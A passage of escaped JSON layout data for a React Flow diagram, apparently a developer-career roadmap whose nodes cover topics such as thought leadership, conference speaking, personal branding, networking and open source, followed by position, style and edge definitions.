\"oldId\": \"rDZoFZFaTG-_eKCKVzuU_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 65,\n      \"positionAbsolute\": {\n        \"x\": -269.07711620062577,\n        \"y\": 3184.1042117919405\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 65\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 65\n      }\n    },\n    {\n      \"width\": 235,\n      \"height\": 49,\n      \"id\": \"wcfrXA9zWZ4Taey7mR2yG\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 106.92288379937423,\n        \"y\": 3192.1042117919405\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Thought Leadership\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mh1BZDVkc-VwA8aQAmDhO\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 106.92288379937423,\n        \"y\": 3192.1042117919405\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 235,\n      \"height\": 49,\n      \"id\": \"I7RBMfoD30OstVLeTrMs9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 105.97685112982208,\n        \"y\": 3278.570645056719\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Publishing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"x8RIrK2VB-LBFbt6hAcQb\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 105.97685112982208,\n        \"y\": 3278.570645056719\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 235,\n      \"height\": 49,\n      \"id\": \"QrDqUGWC2t9r6p4aR8I5g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 105.97685112982208,\n        \"y\": 3331.570645056719\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Media Appearances\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ue0NaNnNpF7UhvJ8j0Yuo\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 105.97685112982208,\n        \"y\": 3331.570645056719\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 235,\n      \"height\": 49,\n      \"id\": \"ue0NaNnNpF7UhvJ8j0Yuo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 105.97685112982208,\n        \"y\": 3384.570645056719\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Conference Speaking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"I7RBMfoD30OstVLeTrMs9\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 105.97685112982208,\n        \"y\": 3384.570645056719\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 251,\n      \"height\": 49,\n      \"id\": \"HN2gNsYYRLVOOdy_r8FKJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -280.57711620062577,\n        \"y\": 3351.878162681685\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Building a Personal Brand\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4ygpqUK70hI5r1AmmfMZq\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -280.57711620062577,\n        \"y\": 3351.878162681685\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 251,\n      \"height\": 49,\n      \"id\": \"4ygpqUK70hI5r1AmmfMZq\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -280.57711620062577,\n        \"y\": 3405.189701696258\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Networking Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wcfrXA9zWZ4Taey7mR2yG\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -280.57711620062577,\n        \"y\": 3405.189701696258\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 235,\n      \"height\": 49,\n      \"id\": \"HIIqlnZ4Vad_1o4F0lkv-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -648.8207077362822,\n        \"y\": 3351.9188969390398\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Meetups\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QrDqUGWC2t9r6p4aR8I5g\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -648.8207077362822,\n        \"y\": 3351.9188969390398\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 235,\n      \"height\": 49,\n      \"id\": \"lMbj0WdoEia_tdpO5rXph\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -648.8207077362822,\n        \"y\": 3404.9188969390398\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Online Communities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NhQUDVA9q1hnV44EKapbU\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -648.8207077362822,\n        \"y\": 3404.9188969390398\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 235,\n      \"height\": 49,\n      \"id\": \"NhQUDVA9q1hnV44EKapbU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -648.8207077362822,\n        \"y\": 3457.9188969390398\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Open-Source\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ue0NaNnNpF7UhvJ8j0Yuo\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -648.8207077362822,\n        \"y\": 3457.9188969390398\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 251,\n      \"height\": 49,\n      \"id\": \"bwwk6ESNyEJa3fCAIKPwh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -280.57711620062577,\n        \"y\": 3457.9188969390398\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Continuous Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4ygpqUK70hI5r1AmmfMZq\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -280.57711620062577,\n        \"y\": 3457.9188969390398\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"efMgmXBHUjeBY2g19-o6p\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -266.57711620062577,\n        \"y\": 3612.1615364944237\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Keep Learning\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 10,\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bLs4BQ15ajuM6kdYjDBVB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 61,\n      \"positionAbsolute\": {\n        \"x\": -266.57711620062577,\n        \"y\": 3612.1615364944237\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 61\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 61\n      }\n    },\n    {\n      \"id\": \"gR1nltl_tVG7y2PhvNJFt\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -165.57711620062577,\n        \"y\": 3678.1615364944237\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"ahghohZ-_jxpfO8dcio2-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 84,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -165.57711620062577,\n        \"y\": 3678.1615364944237\n      },\n      \"style\": {\n        \"width\": 21,\n        \"height\": 84\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 84\n      }\n    },\n    {\n      \"id\": \"9KGr7c7SKxXq3kn8In0I2\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -333.61787473083643,\n        \"y\": 1234.057254188356\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Community Building\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16,\n          \"textAlign\": \"left\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 65,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -333.61787473083643,\n        \"y\": 1234.057254188356\n      },\n      \"style\": {\n        \"width\": 266,\n        \"height\": 65\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 65\n      }\n    },\n    {\n      \"id\": \"Hi6E8R4-iQtZVnus3np_5\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -322.61787473083643,\n        \"y\": 1160.057254188356\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Design\",\n        \"href\": \"https://roadmap.sh/api-design\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"_xPaDBsBUmWfkIivfFur4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -322.61787473083643,\n        \"y\": 1160.057254188356\n      },\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6mHmGW_Ib6DhELxRzCA_k\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -696.3901779625485,\n        \"y\": -178.92445334555111\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit his Blog\",\n        \"href\": \"https://arindam1729.hashnode.dev/\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#d6d6d6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#D6D6D6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -696.3901779625485,\n        \"y\": -178.92445334555111\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-SiYUdtYMDImRPmV2_XPkHw2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"KP28dl1I9hxM130gIPxSZ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHy2-KP28dl1I9hxM130gIPxSZz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"N9HXTCQq2wfC-QurSofE_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHy2-N9HXTCQq2wfC-QurSofE_z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"7MCmY1bABGPfmzjErADvg\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-7MCmY1bABGPfmzjErADvgy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"EjqJkyojhO7f1uFHIoyGY\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-EjqJkyojhO7f1uFHIoyGYy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1NFcpGzCJylRPbFYdD9bB\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-1NFcpGzCJylRPbFYdD9bBy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_3ZnPUl4kzzuM0bKQ8IAq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-_3ZnPUl4kzzuM0bKQ8IAqy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"IxRvVvX9Fax08YUbVob4s\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-IxRvVvX9Fax08YUbVob4sy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ocnvHsixvBpr2fvjtqFmU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHx2-ocnvHsixvBpr2fvjtqFmUw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"vH_ECVYSQ3Fg-DASO1EgK\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"cYs1RnGOd4qOKHLcCJwFY\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_FZNqUKgPkzbgOPoiSLSU\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"EY0npG-yzO47V4DOGZXLp\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Y0GUZynSXjITDOA-TP6LH\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"B821jxPYX7uGnN6gjgWSN\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"uwvvWmcZnFqLoHRDFXFyW\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"4vE4AB_U2VuAHDx4Tvp3f\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"SNhrYZsmyDHN_JWh0eZy2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kd0G_8FBKtGquhGiaxumo\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0ntOE6PSdMl_EXB9gdgIv\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"urbtoZtuJryK-6TJ3lmRN\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0ntOE6PSdMl_EXB9gdgIvx2-urbtoZtuJryK-6TJ3lmRNw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"VTGsmk3p4RVXiNhDmx2l8\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"pzhzz8WkCaV0LoUX4Mo9O\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"LixiZj3-QcmQgGAqaaDr6\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"sqwL9WzTjsvQTCjJ4HIT3\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"tbIAEStaoVWnEWbdk7EGc\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"skWdv5dAJWva1ll50Zr7a\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"2iRt9E42i_ej4woKCW_s2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"b6oE1HP24-HKWRdkHlrNs\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"iKYmUvWFT_C0wnO0iB6gM\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"W2DCoqgysssk9aK5691TZ\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"UdUDngq425NYSvIuOd7St\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"nes5ckolWA9BeqEdvOJuK\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"jyScVS-sYMcZcH3hOwbMK\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"23T7wJc1tIQQdscrW22fs\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"rhs6QwxZ7PZthLfi38FJn\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"rrD69ll0okf5ImYtHE1g7\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"VSOdD9KKF_Qz8nbRdHNo3\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"DoGrB8uboobBVEx9CP8Qs\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Xf-Lxi1cKReo4yDLylBbL\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"wG7_-nqigMnvv0qxHSWww\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"SJf9e7SQnzYVHoRWl0i6P\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"Ao6HwlYdJnBuaQte9fDaw\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ocnvHsixvBpr2fvjtqFmU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0ntOE6PSdMl_EXB9gdgIv\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ocnvHsixvBpr2fvjtqFmUx2-0ntOE6PSdMl_EXB9gdgIvw2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ocnvHsixvBpr2fvjtqFmU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"LRZ8yxTfEGCXsYp4N1_uD\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ocnvHsixvBpr2fvjtqFmUz2-LRZ8yxTfEGCXsYp4N1_uDy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": 